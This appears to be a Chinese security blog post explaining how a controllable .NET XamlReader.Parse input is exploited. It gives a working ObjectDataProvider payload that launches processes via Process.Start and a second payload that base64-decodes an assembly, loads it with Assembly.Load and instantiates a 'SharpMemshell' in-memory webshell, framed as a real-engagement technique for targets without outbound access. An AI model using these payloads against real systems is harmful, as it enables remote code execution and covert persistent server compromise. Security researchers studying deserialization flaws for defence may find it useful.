XamlReader的Parse如何内存马注入
前言:遇到一个XamlReader的Parse方法可控,虽然可以进行命令执行,但是还是不优雅,这边的话通过XamlReader的Parse内存马注入的实现
参考文章:https://forum.butian.net/index.php/share/1588
参考文章:https://learn.microsoft.com/zh-cn/dotnet/desktop/xaml-services/namespaces
参考文章:https://learn.microsoft.com/zh-cn/dotnet/desktop/xaml-services/xarray-markup-extension
什么是XamlReader
WPF是用于替代Windows Form来创建Windows客户端的应用程序,和Web项目一样遵从前端布局和后端代码实现分离的原则,Web项目前端通常是HTML,而XAML是用作WPF项目前端界面开发,XAML的全称是Extensible Application Markup Language 基于通用XML语法用于实例化.NET对象的标记语言。
XamlReader封装于WPF核心程序集之一PresentationFramework.dll,XamlReader处于System.Windows.Markup命名空间下。
System.Windows.Markup命名空间提供了XamlReader和XamlWriter两个公开类,XamlReader类提供的底层Load方法可解析XAML字符流数据实现创建的.NET对象实例,还提供了上层封装方法XamlReader.Parse用于直接解析XAML字符串,XmlSerializer反序列化链路就是基于此方法达成命令执行。
注意:.NET反序列化漏洞XmlSerializer核心Gadget就是XamlReader,具体相关的反序列化文章可以参考https://www.cnblogs.com/zpchcbd/p/17180208.html
这边可以直接给个WPF代码示例来进行观察
MainWindow.xaml
<Window x:Class="MyFirstWpf.MainWindow"
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:s="clr-namespace:System;assembly=mscorlib"
xmlns:d="http://schemas.microsoft.com/expression/blend/2008"
xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006"
xmlns:local="clr-namespace:MyFirstWpf"
mc:Ignorable="d"
Title="MainWindow" Height="450" Width="800">
<Grid>
<ListBox>
<ListBoxItem>
<s:String>Hello Zpchcbd</s:String>
</ListBoxItem>
</ListBox>
</Grid>
</Window>
可以看到图形化的界面如下所示
上述包含Window元素以及Grid元素,Window元素代表整个窗口,Grid可以放置所有的控件。总体结构其实是一个窗体对象内嵌套一个Grid对象。
其中的x:Class代表后端的命名空间和类名,这样的好处在于将WPF里的前端XAML和后端实现代码分开维护。
其中还可以看到有属性值为xmlns的,xmlns全拼是:XML namespace,即XML命令空间,xmlns后面可以跟一个可选映射前缀x,两者之间用冒号分割,另外还声明了五个,其中前四个是默认的xmlns名称空间
-
http://schemas.microsoft.com/winfx/2006/xaml/presentation
,表示引入WPF核心程序集 PresentationFramework,包括用来构建用户界面的控件 -
http://schemas.microsoft.com/winfx/2006/xaml
,与C#语言一样,XAML也有自己的编译器。XAML语言被解析并编译,最终形成微软中间语言保存在程序集中,这里就是起到xaml语言编译器的作用 -
http://schemas.microsoft.com/expression/blend/2008
,设计视图下的属性,但是此属性与你运行后的程序是无关的,它们在编译过程中是被忽略的,因为这边存在mc:Ignorable="d" -
http://schemas.openxmlformats.org/markup-compatibility/2006
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:d="http://schemas.microsoft.com/expression/blend/2008"
xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006"
其中还会看到xmlns:s="clr-namespace:System;assembly=mscorlib"
,表示将s前缀映射到.NET基类库System.String名称空间,后续用<s:String>
获取字符串类型,类似若想引入其他.NET程序集支持的基类
参考语法 xmlns:Prefix="clr-namespace:Namespace;assembly=AssemblyName"
例如反序列化攻击载荷常用的System.Diagnostics.Process类所在的程序集: xmlns:c="clr-namespace:System.Diagnostics;assembly=system"
又或者引入System.Reflection.Assembly类所在的程序集:xmlns:c="clr-namespace:System.Reflection;assembly=mscorlib"
XamlReader的Parse命令执行
这里先简单的看下命令执行的payload,如下所示,可以看到这边是通过引入一个ObjectDataProvider其中ObjectType来设置Type为Process类型,然后调用方法为Process的Start方法,其中的参数为cmd /c calc,最终进行命令执行,因为这边引入的是System.Diagnostics.Process,所以这边的xmlns:c引入的命名空间就是System.Diagnostics
Program.cs
class Program
{
static void Main(string[] args)
{
string xml = @"<ResourceDictionary
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:d="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:b="clr-namespace:System;assembly=mscorlib"
xmlns:c="clr-namespace:System.Diagnostics;assembly=system">
<ObjectDataProvider d:Key="" ObjectType="{d:Type c:Process}" MethodName="Start">
<ObjectDataProvider.MethodParameters>
<b:String>cmd</b:String>
<b:String>/c calc</b:String>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</ResourceDictionary>";
XamlReader.Parse(xml);
Console.ReadKey();
}
}
XamlReader的Parse内存马注入
回到最初的问题,这边如果给大家XamlReader的Parse一个点,是否可以实现内存马注入呢?
实战环境中遇到了一个XamlReader的Parse的点,这个点数据可控,虽然可以直接通过ysoserial来生成相关的payload来进行命令执行,但是如果目标环境不出网的情况下就会比较尴尬,这边的话可以通过Assembly.Load方法来进行注入内存马
其中遇到的坑点就是注入内存马的时候需要base64解码,所以这边的话是通过Array标签来进行接受的
string xml = @"<ResourceDictionary
xmlns=""http://schemas.microsoft.com/winfx/2006/xaml/presentation""
xmlns:x=""http://schemas.microsoft.com/winfx/2006/xaml""
xmlns:s=""clr-namespace:System;assembly=mscorlib""
xmlns:a=""clr-namespace:System.Reflection;assembly=mscorlib"">
<s:Array x:Key=""aaaaa"" x:FactoryMethod=""s:Convert.FromBase64String"" x:Arguments=""TVqQAAMAAAAEAAAA..........""/>
<ObjectDataProvider x:Key=""bbbbb"" ObjectType=""{x:Type a: Assembly}"" MethodName=""Load"">
<ObjectDataProvider.MethodParameters>
<StaticResource ResourceKey=""aaaaa""/>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
<ObjectDataProvider x:Key=""ccccc"" ObjectInstance=""{StaticResource bbbbb}"" MethodName=""CreateInstance"">
<ObjectDataProvider.MethodParameters>
<s:String>SharpMemshell</s:String>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</ResourceDictionary>";
XamlReader.Parse(xml);
Console.ReadKey();
ObjectDataProvider原理分析
这个点主要就是想说明一个点,就是ObjectDataProvider反序列化链是可以进行实例化对象的方法进行调用,也可以直接执行静态类方法,原因是wpf\src\Framework\System\Windows\Data\ObjectDataProvider.cs中默认支持两个属性,分别是ObjectType和ObjectInstance
ObjectType和ObjectInstance在一次ObjectDataProvider调用中只能调用一次,如果设置了ObjectType的话,那么在调用过程中会先进行SetObjectType(value)然后执行Refresh方法来进行更新
最终会走到QueryWorker方法中,这边可以看到如果ObjectType类型没有构造函数则会将_needNewInstance设置为false
导致最终直接通过反射来调用对应的方法